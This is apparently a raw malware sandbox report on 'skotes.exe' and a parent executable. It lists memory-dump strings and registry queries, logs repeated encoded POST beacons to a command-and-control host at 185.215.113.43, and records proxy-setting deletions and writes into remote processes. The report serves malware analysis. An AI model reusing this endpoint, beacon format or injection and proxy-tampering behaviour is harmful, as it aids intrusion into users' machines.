"\SystemRoot\system32\drivers\vdrvroot.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "em32\drivers\partmgr.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\DRIVERS\compbatt.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\DRIVERS\compbatt.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\DRIVERS\BATTC.SYS" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\DRIVERS\BATTC.SYS" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\volmgr.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\volmgr.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\volmgrx.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\volmgrx.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\DRIVERS\intelide.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\DRIVERS\intelide.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\DRIVERS\PCIIDEX.SYS" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\DRIVERS\PCIIDEX.SYS" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\DRIVERS\vmci.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\DRIVERS\vmci.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\DRIVERS\vsock.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\DRIVERS\vsock.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\mountmgr.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\System32\drivers\mountmgr.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\atapi.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\atapi.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\ataport.SYS" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\ataport.SYS" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\msahci.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\msahci.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\amdxata.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\amdxata.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\fltmgr.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\fltmgr.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\fileinfo.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\system32\drivers\fileinfo.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\System32\Drivers\Ntfs.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\System32\Drivers\Ntfs.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\System32\Drivers\msrpc.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\System32\Drivers\msrpc.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\System32\Drivers\ksecdd.sys" (Indicator: "\drivers\"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp") Found string "\SystemRoot\System32\Drivers\ksecdd.sys" (Indicator: "system32\drivers"; Source: "00000000-00000560.00000000.263215.00280000.00000004.mdmp")47:Tb6b,"ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "LDAPCLIENTINTEGRITY"; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEOLDHOSTRESOLUTIONORDER"; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "USEHOSTNAMEASALIAS"; Value: "") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\LDAP"; Key: "IPV4LOOPBACKALTERNATIVE"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DOMAIN"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\PARAMETERS"; Key: "TRANSPORTS"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAPPING"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK\SETUP MIGRATION\PROVIDERS\TCPIP6"; Key: "WINSOCK 2.0 PROVIDER ID"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MINSOCKADDRLENGTH"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "MAXSOCKADDRLENGTH"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "USEDELAYEDACCEPTANCE"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP6\PARAMETERS\WINSOCK"; Key: "HELPERDLLNAME"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "WINSOCK_REGISTRY_VERSION"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS"; Key: "NAMESPACE_CALLOUT"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "SERIAL_ACCESS_NUM"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NEXT_CATALOG_ENTRY_ID"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9"; Key: "NUM_CATALOG_ENTRIES"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000001"; Key: "PACKEDCATALOGITEM"; Value: "") "skotes.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\WINSOCK2\PARAMETERS\PROTOCOL_CATALOG9\CATALOG_ENTRIES\000000000002"; Key: "PACKEDCATALOGITEM"; Value: "")48:T35b4,"POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:42:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:42:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:42:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E....... "POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 164 Cache-Control: no-cache" with payload::==> "r=B483325295CEE7DE0A47A3CB4A643A053DA707B58C83B4EFA8EDC826934019B140BE1546450FC9DDF642E3BDD70A06C24F15C23EA49245E17AB3689541CA70650B8D2D7C79EAA105D114DF95E900E3CF73" HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue 18 Feb 2025 06:43:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive with response body ==>203C633E3C643E.......49:T42d,"ffa05200d7a741017eb476eef981b041.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "ffa05200d7a741017eb476eef981b041.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "skotes.exe" (Access type: "SETVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYENABLE"; Value: "00000000") "skotes.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYSERVER") "skotes.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS"; Key: "PROXYOVERRIDE") "skotes.exe" (Access type: "DELETEVAL"; Path: "HKCU\SOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS") "skotes.exe" (Access type: "DELETEVAL"; Path: "HKLM\SOFTWARE\WOW6432NODE\MICROSOFT\WINDOWS\CURRENTVERSION\INTERNET SETTINGS\ZONEMAP"; Key: "PROXYBYPASS")4a:T45a,"ffa05200d7a741017eb476eef981b041.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\abc3bc1985\skotes.exe" (Handle: 1008) "ffa05200d7a741017eb476eef981b041.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\abc3bc1985\skotes.exe" (Handle: 1008) "ffa05200d7a741017eb476eef981b041.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\abc3bc1985\skotes.exe" (Handle: 1008) "ffa05200d7a741017eb476eef981b041.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\abc3bc1985\skotes.exe" (Handle: 1008) "skotes.exe" wrote 32 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\1085426001\5b5767e85f.exe" (Handle: 1140) "skotes.exe" wrote 52 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\1085426001\5b5767e85f.exe" (Handle: 1140) "skotes.exe" wrote 4 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\1085426001\5b5767e85f.exe" (Handle: 1140) "skotes.exe" wrote 8 bytes to a remote process "C:\Users\%OSUSER%\AppData\Local\Temp\1085426001\5b5767e85f.exe" (Handle: 1140)4b:T590,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD80lEQVR4Xu2W21cTVxTG/b/6Tq22VuSi4DWiLXYtXAoiIOiChNwDMQawSDCESwiEgNTWVmpfbSH2wSf7ZN/oCyHJZGYyueDXfWZIMkwyQmwXfaiz1rfO5JyZs3/7O/ucyZEjH6//+rI63RgYtB2qBi0OFAEsNgf+eLuJ12/+JL39V/V1t6diyyBKDtiH8et69B9pfeMVNqK/Y+OVonW6/436mLTPMu0BMJkdSAlpZDMSMlL6A6S8J1WQ9lkWQ8zktAB2ufMwVQaQy+flgbW1l3jxy+sDae3nl8jnsrKi0WhFFTL/5NqULHZfESC/C8AmrutbQv3dMBr6F9FoXMBpcwhnrCE0O4NoHprDOc8Mznun5Wf/2txEJi2UWa1VVQCXbKswOJ7A4FxBy/AyrngiuOpdwldji2gdX8A1Xwjf+OdVAHxZ5lU5wH7sqADavD+gbfR7XH/4FDcekXyraPc/QUdgBbdml9EZjKBrIVwEyBIAm1iSRKVNK63WgRrTqD4ALyoDbNKuyefo8f+EnsCP6J19hpsU/Lo/jNbJIC5P+GHwTaJlylcCEIWyzLUOsOAnHzr1ATheLAIYgy9wb+45WkZCOGGbwKeWEXzmeIDjQx58ft+NE94hnBxzqgB2HaDM5e3HWo0LLHjzXP/BANoff4fj5nHUDI7iqM2LY04KPnwfXzwYxpejLnmyU4/sKoBUWeZaB1jw1mdt+gApFUCNcUzJ2k7Bi1lT8DEXar914NSEDfWPLXtqQKLDKC3q7wYW/P0AQgngqHXXcpa1h4KPDMlZ147bUeezosFvxumAqbQLxP13wQEASkV4zEVZu1WWs6zJ8vpJKxqnBnFm2ogmsrQIIPBVHeP7AqgLrXbcgTqyvIEsbwxQ8JkBWs97OBfqq+ocqApAXWj1BcunTWia7cfZ4F2cX+jFxXD3HoDM7g7QBqukfQHUhSZbPmNUsp7vw4XFO7i41A3DcmcRIE01wApQu/WY